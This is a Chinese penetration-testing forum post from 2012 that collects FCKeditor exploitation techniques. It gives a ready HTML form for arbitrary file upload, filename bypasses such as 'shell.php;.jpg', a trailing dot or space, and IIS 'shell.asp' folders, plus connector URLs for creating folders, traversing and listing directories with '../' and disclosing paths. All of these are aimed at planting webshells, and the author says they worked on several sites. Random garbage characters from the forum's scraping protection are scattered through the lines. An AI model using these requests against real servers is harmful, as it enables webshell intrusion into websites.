中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]

作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  
: E2 ^. m6 {3 |查看编辑器版本6 C' s) u! O" r, \2 l; z
FCKeditor/_whatsnew.html3 k2 v% U' E" U4 w2 f
—————————————————————————————————————————————————————————————
) y# j; X1 ~8 U) o9 V
# y" K, e& K' w' i2. Version 2.2 版本
9 B, n6 J1 h/ i7 B/ K& G) W& EApache+linux 环境下在上传文件后面加个.突破!测试通过。
5 S2 Z: @5 ~+ j" K  v—————————————————————————————————————————————————————————————
8 w2 X1 }+ g# O0 L3 o) O# D& e! ]$ Z" K1 K4 Y! U6 M5 Z
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
2 \0 |  h# O+ G  U3 c<form id="frmUpload" enctype="multipart/form-data"& L$ R2 _; P% o- _% Q( K( Z
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
( V8 ]# T' `4 |" e2 z<input type="file" name="NewFile" size="50"><br>; B" A4 m3 [  X3 {( {
<input id="btnUpload" type="submit" value="Upload">
& Q- Y* Y. }+ e& K% F& @</form>
6 j: G( z/ c; O& K8 `9 P* r—————————————————————————————————————————————————————————————
" A8 [$ k/ F1 q) i& O" g3 c
5 c. \( U" V8 [# \" Y" F4.FCKeditor 文件上传“.”变“_”下划线的绕过方法% {& w/ H8 m% o% {
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
, v3 \& H  c8 k  K+ S' n" b, v    4.1:提交shell.php+空格绕过8 ^  Z% j9 |/ z7 j! V$ Q
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
2 ^5 Z- z3 t- Y6 f    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。/ e" N0 C5 x: z) J$ y( k0 O
—————————————————————————————————————————————————————————————
5 K, n; v' v# y8 o) G4 |" I% F
5 K- P0 Y( ~) ]# {5. 突破建立文件夹
( z: p3 M4 O  T* dFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
, ~( p- J$ n( r' b4 h$ G6 L8 qFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
. B) H/ N8 N1 T/ y$ K—————————————————————————————————————————————————————————————
  m- F: D0 G( a% V3 E, l2 K+ v$ h8 g, E" q& C2 n- G" a
6. FCKeditor 中test 文件的上传地址! \# J# |. g: q' F" w+ T* \
FCKeditor/editor/filemanager/browser/default/connectors/test.html- E, k! p0 ]: A7 d2 a6 D) R2 Z
FCKeditor/editor/filemanager/upload/test.html
) v0 @& m7 w- iFCKeditor/editor/filemanager/connectors/test.html
4 q* p4 ?5 e  aFCKeditor/editor/filemanager/connectors/uploadtest.html
" r6 Z# E! a( P; e& x2 h# m0 \" b—————————————————————————————————————————————————————————————8 x0 y' b9 l! I2 ?' r; V
* N, T3 y3 ]* T: X# N
7.常用上传地址, I0 L6 b7 e; d, k
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/1 k0 U1 q$ j' V5 S
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp- _4 y! G# h: R% r
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
" `, C4 A- ^# [9 _JSP 版:
, F% F+ C7 D8 K, @! u- X9 EFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp* d6 x& F6 U% R( {9 d1 \
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文0 _" v6 \' k) s3 _* \
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。5 m9 U8 O9 f+ V, u& D3 l6 ]
—————————————————————————————————————————————————————————————
. V5 f9 |. N+ x% G- V2 Z' y/ E3 y' M( T/ s/ w, x
8.其他上传地址4 V+ |4 {% }  m, c: M( j# |
FCKeditor/_samples/default.html' Q( \( G' m( F0 a  y5 k6 `
FCKeditor/_samples/asp/sample01.asp
4 {! T7 e& @7 sFCKeditor/_samples/asp/sample02.asp* C, ~4 }  x1 `$ Z$ K
FCKeditor/_samples/asp/sample03.asp
4 L! U' K9 e4 X2 [FCKeditor/_samples/asp/sample04.asp, c8 C/ R# a6 |+ A) R1 n6 p+ s
一般很多站点都已删除_samples 目录,可以试试。
0 M  m8 G& b  \( g2 R) |9 j8 H6 _FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
& ^" n6 a3 Z7 Z. x4 ?5 m0 }—————————————————————————————————————————————————————————————( V; G, _4 r, |' v* J
3 ]% D% o8 h' A( g7 b
9.列目录漏洞也可助找上传地址
2 w' w% o2 f9 X3 d7 MVersion 2.4.1 测试通过
0 x) v' H) g: H! j; G8 n修改CurrentFolder 参数使用 ../../来进入不同的目录0 H9 F* q5 q2 I9 r1 x8 _
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
- E4 u. n5 s8 [7 m# j, b根据返回的XML 信息可以查看网站所有的目录。3 b3 q; ]: K9 W2 S, |& v
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
0 U7 }) E0 k) A2 [; U5 y; E也可以直接浏览盘符:" ^) n: ]* A: e- S. `4 A$ j% l
JSP 版本:+ H$ h4 v. k& ?$ I* @! s' g- c( u
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F$ u+ h) ~; I+ \+ U
—————————————————————————————————————————————————————————————
1 ^- y/ Q; j" a3 r4 _
: b9 C, j7 }& W& F3 Y7 l10.爆路径漏洞
0 ?" \, F/ g+ tFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp# [" n2 S* u8 _  A) c1 B
—————————————————————————————————————————————————————————————
% w6 _, Q; l# G/ R) R/ ~( U! u. F/ @  `' P' ]" |
11. FCKeditor 被动限制策略所导致的过滤不严问题* a" u5 f$ d; y, n7 Z
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
- v. z8 k2 g0 ]# ^脆弱描述:5 G$ q6 a6 I6 g! U4 L* \
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:0 O0 K1 G+ V7 v, R5 U
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm+ z+ o) T3 l7 q6 I
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
, u7 M* O( @5 A- b$ C! w        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。8 h6 r# a/ B' V6 C; L; X
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
/ f3 ~: F, L- f5 `; A$ `—————————————————————————————————————————————————————————————
% [4 @+ V. p: E$ S- o, m; \. |5 T" J9 h* d2 Y& s  s& Z
12.最古老的漏洞,Type文件没有限制!
+ E! F: f7 ?0 p" ~5 B8 a        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! ! a4 k* i. T8 ?0 V0 H
—————————————————————————————————————————————————————————————4 t. }6 R. @, P% |: P7 N9 N
. m3 M, J$ `3 k" V
===============================================================================================================================================
# B* r) Z) m' _( A# x' b8 ]
& Y" g: K9 t- ^  U, r; sFCK编辑器jsp版本漏洞:
+ N8 h/ B1 @7 U
5 K& \/ v2 g) p1 }2 T7 Z( j% M
4 {2 R) ]! b- Shttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
9 O6 a% g- L' |3 C9 p
4 F& f1 B8 h% z9 G& _; s上传马所在目录& P& v0 L4 S4 o% W
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/" {/ U0 i2 B6 ^4 L
上传shell的地址:
( M5 z" a0 Z2 o1 _http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector5 D4 c, t+ k6 r9 i2 S- o4 C
跟版本有关系.并不是百分百成功. 测试成功几个站.
* i+ |. f- P1 {  r2 ]6 s* L不能通杀.很遗憾.
% t) L6 d8 d  I1 e+ s1 jhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector# ^+ w$ x4 J% E2 r
如果以上地址不行可以试试
3 p0 J7 z+ _; B" `/ K- \! x; p- VFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector! q, C# ?( u0 `5 y
FCKeditor/_samples/6 T( f' y8 w# G+ l) l8 G5 o% n
FCKeditor/_samples/default.html
& b- V! O6 {  {3 DFCKeditor/editor/fckeditor.htm
: q) v' O# M& o& hFCKeditor/editor/fckdialog.html
5 r7 ~( q) p5 h+ A. z/ P2 s" r  e, u. y' f  L3 a6 G, w
8 ?& R6 [0 C  D2 u2 N5 d
. G# o  s2 C8 h; ^& H
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
6 r. ]8 I" @/ a4 j




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2